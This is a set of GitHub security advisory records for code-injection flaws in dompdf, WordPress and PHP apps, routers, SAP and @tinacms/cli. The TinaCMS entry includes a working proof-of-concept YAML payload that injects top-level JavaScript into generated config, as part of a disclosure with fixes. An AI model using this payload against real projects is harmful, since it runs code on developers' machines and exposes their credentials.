CWE-94

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dompdf/dompdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2010-4879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-25T23:02:44Z",
    "nvd_published_at": "2011-10-07T10:55:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in dompdf.php in dompdf 0.6.0 beta1 allows remote attackers to execute arbitrary PHP code via a URL in the `input_file` parameter.",
  "id": "GHSA-48r9-4v93-x4wh",
  "modified": "2024-04-25T23:02:44Z",
  "published": "2022-05-17T05:29:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4879"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/23a693993299e669306929e3d49a4a1f7b3fb028"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/dompdf/dompdf/CVE-2010-4879.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/dompdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/releases/tag/v0.6.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/wiki/Securing-dompdf"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/14851"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "DOMPDF Remote File Inclusion Vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-6543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-03-30T01:30:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in ComScripts TEAM Quick Classifieds 1.0 via the DOCUMENT_ROOT parameter to (1) index.php3, (2) locate.php3, (3) search_results.php3, (4) classifieds/index.php3, and (5) classifieds/view.php3; (6) index.php3, (7) manager.php3, (8) pass.php3, (9) remember.php3 (10) sign-up.php3, (11) update.php3, (12) userSet.php3, and (13) verify.php3 in controlcenter/; (14) alterCats.php3, (15) alterFeatured.php3, (16) alterHomepage.php3, (17) alterNews.php3, (18) alterTheme.php3, (19) color_help.php3, (20) createdb.php3, (21) createFeatured.php3, (22) createHomepage.php3, (23) createL.php3, (24) createM.php3, (25) createNews.php3, (26) createP.php3, (27) createS.php3, (28) createT.php3, (29) index.php3, (30) mailadmin.php3, and (31) setUp.php3 in controlpannel/; (32) include/sendit.php3 and (33) include/sendit2.php3; and possibly (34) include/adminHead.inc, (35) include/usersHead.inc, and (36) style/default.scheme.inc.",
  "id": "GHSA-48rm-45h3-7g2r",
  "modified": "2022-05-17T02:11:13Z",
  "published": "2022-05-17T02:11:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6543"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42469"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28417"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28417/exploit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-8417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-11T08:15:33Z",
    "severity": "HIGH"
  },
  "details": "The Catalog Importer, Scraper \u0026 Crawler plugin for WordPress is vulnerable to PHP code injection in all versions up to, and including, 5.1.4. This is due to reliance on a guessable numeric token (e.g. ?key= 900001705) without proper authentication, combined with the unsafe use of eval() on user-supplied input. This makes it possible for unauthenticated attackers to execute arbitrary PHP code on the server via a forged request granted they can guess or brute-force the numeric key.",
  "id": "GHSA-48xv-3p9w-g5g8",
  "modified": "2025-09-11T09:31:44Z",
  "published": "2025-09-11T09:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8417"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/intelligent-importer/tags/5.1.4/communication.php#L20"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/intelligent-importer/tags/5.1.4/communication.php#L244"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/intelligent-importer/tags/5.1.4/communication.php#L272"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/intelligent-importer/tags/5.1.4/communication.php#L300"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/intelligent-importer/tags/5.1.4/megaimporter.php#L57"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3eb3533c-e33c-41db-b9cf-e9d71a0a5588?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:15:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Description\n\n### Summary\n\n`@tinacms/cli` contains a Remote Code Execution vulnerability in its\nForestry-to-Tina migration command. The internal helper `addVariablesToCode`\nunquotes any value matching the marker `\"__TINA_INTERNAL__:::(.*?):::\"`\ninside the stringified collection JSON. User-supplied `label` and `name`\nfields from `.forestry/**/*.yml` are placed into that JSON without any\nsanitisation. An attacker who controls a Forestry-style project can therefore\ninject arbitrary JavaScript into the generated `tina/templates.{ts,js}`\nfile. The injected code is written at module top level, so it executes\n**the moment the developer runs `tinacms dev` or `tinacms build`**, with the\ndeveloper\u0027s privileges.\n\n### Details\n\n**Vulnerable code path:**\n\n1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts`\n   \u2014 `transformForestryFieldsToTinaFields()` writes `forestryField.label`\n   (and `.name`) straight into TinaField objects (no sanitisation).\n2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`,\n   lines 16-22 \u2014 the regex-based unquoter:\n\n   ```ts\n   export const addVariablesToCode = (codeWithTinaPrefix: string) =\u003e {\n     const code = codeWithTinaPrefix.replace(\n       /\"__TINA_INTERNAL__:::(.*?):::\"/g,\n       \u0027$1\u0027\n     );\n     return { code };\n   };\n   ```\n\n3. `codeTransformer.ts` lines 80-88 \u2014 the field array is\n   `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because\n   `JSON.stringify` does **not** escape single quotes or backticks, an\n   attacker who avoids `\"` in the payload survives the JSON pass intact.\n4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 \u2014 the\n   resulting string is written to `tina/templates.{ts,js}` and imported by\n   the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.\n\n**Why it executes immediately:** the regex unquoting allows the attacker\u0027s\npayload to *close the surrounding object/array and the enclosing\n`xxxFields()` function*, drop a top-level IIFE, and then start a dummy\nfunction that swallows the trailing JSON. The IIFE is at module scope,\nso it runs the instant `tina/config.ts` imports `./templates`.\n\n### PoC\n\nEnd-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from\ncommit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24\n(behaviour is identical on Node 22).\n\n**Step 1 \u2014 attacker prepares a malicious Forestry project**\n\n`.forestry/settings.yml`\n\n```yaml\n---\nnew_page_extension: md\nauto_deploy: false\nadmin_path: \u0027\u0027\nwebhook_url: \u0027\u0027\nsections:\n- type: directory\n  path: content/posts\n  label: Posts\n  create: all\n  match: \"**/*.md\"\n  templates:\n  - rce\n```\n\n`.forestry/front_matter/templates/rce.yml`\n\n```yaml\n---\nlabel: rce_template\nfields:\n- name: title\n  type: text\n  label: \"__TINA_INTERNAL__:::1}] }; (function(){ const fs=require(\u0027fs\u0027); const os=require(\u0027os\u0027); fs.writeFileSync(require(\u0027path\u0027).join(os.tmpdir(),\u0027PWNED_PROOF.txt\u0027), \u0027RCE triggered on \u0027 + os.hostname() + \u0027 at \u0027 + new Date().toISOString()); console.log(\u0027=== RCE SUCCESSFUL ===\u0027); })(); function _ignore_(){ return [{x:1:::\"\n```\n\n\u003e **Note on payload encoding.** The original disclosure draft used double\n\u003e quotes inside the payload (`console.log(\"RCE\")`). `JSON.stringify` escapes\n\u003e those to `\\\"`, which makes the generated TypeScript syntactically invalid\n\u003e and is rejected by Prettier before the file is written. Using single\n\u003e quotes or backticks for the inner string literals is required for the\n\u003e exploit to succeed.\n\n**Step 2 \u2014 victim runs the standard onboarding flow**\n\n```bash\ngit clone \u003cattacker repo\u003e\ncd \u003cattacker repo\u003e\nnpx tinacms init       # accepts the \"migrate Forestry templates?\" prompt\nnpx tinacms dev        # OR: npx tinacms build\n```\n\n**Step 3 \u2014 generated `tina/templates.ts` (verbatim, from a clean run)**\n\n```ts\nimport type { TinaField } from \"tinacms\";\nexport function rce_templateFields() {\n  return [{ type: \"string\", name: \"title\", label: 1 }];\n}\n(function () {                                          // \u003c-- TOP-LEVEL IIFE\n  const fs = require(\"fs\");\n  const os = require(\"os\");\n  fs.writeFileSync(\n    require(\"path\").join(os.tmpdir(), \"PWNED_PROOF.txt\"),\n    \"RCE triggered on \" + os.hostname() + \" at \" + new Date().toISOString()\n  );\n  console.log(\"=== RCE SUCCESSFUL ===\");\n})();\nfunction _ignore_() {\n  return [{ x: 1 }] as TinaField[];\n}\n```\n\n**Step 4 \u2014 observed result**\n\n```\n$ npx tinacms dev --noTelemetry --no-server\n\ud83e\udd99 TinaCMS Dev Server is initializing...\n=== RCE SUCCESSFUL ===\nCannot read properties of undefined (reading \u0027publicFolder\u0027)\n\n$ cat \"$TEMP/PWNED_PROOF.txt\"\nRCE triggered on \u003chostname\u003e at 2026-05-23T06:57:29.800Z\n```\n\nThe `=== RCE SUCCESSFUL ===` line is printed **before** the dev server\nfails on the (intentionally minimal) config, proving the malicious code\nexecuted during config evaluation.\n\n### Impact\n\n* **Class:** Remote Code Execution (code injection into a generated source\n  file that is automatically executed by the dev server/build).\n* **Attack vector:** Any developer who runs `tinacms init` on a Forestry\n  project they did not author (e.g. a starter template, a community fork,\n  a \"convert my site to Tina\" service, an evaluation of a third-party\n  CMS migration) and then runs `tinacms dev` or `tinacms build`.\n* **Privileges obtained:** Full execution under the developer\u0027s user\n  account. Practical consequences include:\n  * Exfiltration of environment variables, `.env` files, SSH keys,\n    `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`.\n  * Source-code modification (planting backdoors before the developer\u0027s\n    next commit / publish).\n  * Supply-chain abuse via the developer\u0027s `npm publish` and `git push`\n    credentials.\n  * Persistence via shell rc files or scheduled tasks.\n* **Authentication:** None required from the attacker.\n* **User interaction:** Required \u2014 victim must run the migration and then\n  the dev/build command. The migration prompt defaults to \"yes\".\n\n\n## Suggested Remediation\n\nEither fix is sufficient; **Option B is preferred** because it is\nstructurally impossible to bypass and does not silently drop user content.\n\n### Option A \u2014 sanitise user-controlled strings (the disclosure draft\u0027s proposal)\n\n```ts\n// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts\nconst sanitizeString = (str: unknown): unknown =\u003e\n  typeof str === \u0027string\u0027\n    ? str.replace(/__TINA_INTERNAL__:::/g, \u0027\u0027)\n    : str;\n```\n\nApply to **every** user-controlled string that flows into a TinaField\nobject \u2014 at minimum `forestryField.label`, `forestryField.name`,\n`forestryField.template`, `forestryField.config.options[*]`,\n`forestryField.config.source.section`, and the equivalents on nested\n`fields`/`template_types` recursive paths.\n\n### Option B \u2014 change the marker to a sequence that cannot survive `JSON.stringify` of user data\n\n```ts\n// codeTransformer.ts\nconst MARKER_OPEN  = \u0027\u0001__TINA_INTERNAL__\u0001\u0027;\nconst MARKER_CLOSE = \u0027\u0001/__TINA_INTERNAL__\u0001\u0027;\n\nexport const addVariablesToCode = (s: string) =\u003e ({\n  code: s.replace(\n    new RegExp(`\"${MARKER_OPEN}(.*?)${MARKER_CLOSE}\"`, \u0027g\u0027),\n    \u0027$1\u0027\n  ),\n});\n```\n\n`JSON.stringify` escapes `\u0001` to the six-character sequence\n`\u0001`, so any literal control character supplied via YAML can never\nreconstruct the marker. The internal callers (`makeFieldsWithInternalCode`)\nkeep emitting real `\u0001` bytes, so the legitimate flow continues to\nwork and no user content is silently mutated.\n\n### Defence-in-depth\n\nRegardless of which option ships, the migration code should also:\n\n* Reject `forestryField.label` / `.name` that contain newlines or NUL\n  bytes (Forestry never produced them).\n* Wrap the eventual `prettier.format(...)` call so that if formatting\n  fails the build aborts (today an exception is propagated, which is\n  good \u2014 keep it that way).\n\n---\n\n## Credit\n\nReported by **AnGrY-Althaf** (`angry.althaf@gmail.com`).\n\nEnd-to-end PoC executed locally against\n`tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f`\nof `https://github.com/tinacms/tinacms`.",
  "id": "GHSA-4936-9hrh-qqpw",
  "modified": "2026-06-19T21:15:16Z",
  "published": "2026-06-19T21:15:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7006"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.4.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration \u2014 unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-12115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-03-18T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in ONAP SDC through Dublin. By accessing port 4000 of demo-sdc-sdc-be pod, an unauthenticated attacker (who already has access to pod-to-pod communication) may execute arbitrary code inside that pod. All ONAP Operations Manager (OOM) setups are affected.",
  "id": "GHSA-493r-fxqr-2mwr",
  "modified": "2022-05-24T17:11:45Z",
  "published": "2022-05-24T17:11:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12115"
    },
    {
      "type": "WEB",
      "url": "https://jira.onap.org/browse/OJSI-10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2005-3554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2005-11-16T07:42:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple eval injection vulnerabilities in the help function in PHPKIT 1.6.1 R2 and earlier, when register_globals is enabled, allow remote attackers to execute arbitrary code on the server via unknown attack vectors involving uninitialized variables.",
  "id": "GHSA-494v-c9x8-6xcw",
  "modified": "2022-05-01T02:19:11Z",
  "published": "2022-05-01T02:19:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-3554"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/23015"
    },
    {
      "type": "WEB",
      "url": "http://cert.uni-stuttgart.de/archive/bugtraq/2005/11/msg00110.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/17479"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1015167"
    },
    {
      "type": "WEB",
      "url": "http://www.hardened-php.net/advisory_212005.80.html"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/20563"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/15354"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2005/2344"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2010-0031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-02-10T18:30:00Z",
    "severity": "HIGH"
  },
  "details": "Array index error in Microsoft Office PowerPoint 2002 SP3 and 2003 SP3, and PowerPoint in Office 2004 for Mac, allows remote attackers to execute arbitrary code via a crafted PowerPoint document, aka \"PowerPoint OEPlaceholderAtom \u0027placementId\u0027 Invalid Array Indexing Vulnerability.\"",
  "id": "GHSA-495j-2cpg-h2g3",
  "modified": "2022-05-02T06:09:47Z",
  "published": "2022-05-02T06:09:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0031"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-004"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8081"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1023563"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA10-040A.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-55423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-20T18:16:04Z",
    "severity": "CRITICAL"
  },
  "details": "ipTIME routers A2003NS-MU 10.00.6 to 12.16.2 , N600 10.00.8 to 12.16.2, A604-V3 10.01.6 to 10.07.2, A6ns-M 10.01.6 to 14.19.4 , V508 10.02.2 to 10.06.4, N704QCA 10.02.4 to 12.16.2, A8ns-M 10.03.2 to 14.19.4, A304 10.05.4 to 10.07.4, A3004NS-M,A5004NS-M,A9004M 10.05.4 to 14.19.4, N702R 10.05.8 to 10.06.8, A604M 10.06.4 to 10.07.2, A804NS-MU 10.06.4 to 12.10.2, N804R 10.06.4 to 12.16.2, A7004M,A8004T 10.06.8 to 14.19.4, A604G-MU 10.07.4 to 12.16.2, A3008-MU 10.08.4 to 14.19.4, A2004MU and A2004NS-MU 10.08.6 to 12.17.0, A604-V5,A604R, N702E 10.09.2 to 12.16.2, N2V 10.09.2 to 12.16.8, N604E 10.09.2 to 14.19.4, N104E 10.09.4 to 12.15.2, A8004ITL 11.00.4 to 14.19.4, N102E 11.00.8 to 12.15.2, N1V 11.01.2 to 12.07.6, N102i 11.01.2 to 12.15.2, T5004 11.96.4 to 14.19.4, N602E 11.96.6 to 12.16.8, AX8004BCM and A8004T-XR 11.97.2 to 14.19.4, A9004M-X2, T5008 11.98.2 to 14.19.4, N704E 11.98.4 to 12.16.2, A8004BCM 11.99.1 to 12.16.2, AX3004ITL 12.01.2 to 14.19.4 and A604G-skylife 12.02.4 to 12.12 were discovered to contain an OS command injection vulnerability via the function upnp_relay().",
  "id": "GHSA-495m-v35r-f849",
  "modified": "2026-01-21T15:31:15Z",
  "published": "2026-01-20T18:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55423"
    },
    {
      "type": "WEB",
      "url": "https://docs.google.com/spreadsheets/d/1kryOFltCmnPJvDTpIrudgryt79uI4PWchuQ8-Gak24c/edit?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0x0xxxx/CVE/blob/main/CVE-2025-55423/README.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0x0xxxx/CVE/blob/main/CVE-2025-55423/assets/affected_products_cve_format.json"
    },
    {
      "type": "WEB",
      "url": "https://iptime.com/iptime/?pageid=4\u0026page_id=126\u0026dfsid=3\u0026dftid=583\u0026uid=25203\u0026mod=document"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-6665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-04-08T10:30:00Z",
    "severity": "MODERATE"
  },
  "details": "change.php in Ananta CMS 1.0b5, with magic_quotes_gpc disabled, allows remote attackers to gain administrator privileges via a crafted email parameter, possibly related to code injection.",
  "id": "GHSA-4965-f67j-6qhc",
  "modified": "2022-05-17T00:38:43Z",
  "published": "2022-05-17T00:38:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6665"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43119"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5824"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29752"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-42922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T02:15:40Z",
    "severity": "CRITICAL"
  },
  "details": "SAP NetWeaver AS Java allows an attacker authenticated as a non-administrative user to use a flaw in an available service to upload an arbitrary file. This file when executed can lead to a full compromise of confidentiality, integrity and availability of the system.",
  "id": "GHSA-4967-53pf-wq6x",
  "modified": "2025-09-09T03:30:19Z",
  "published": "2025-09-09T03:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42922"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3643865"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}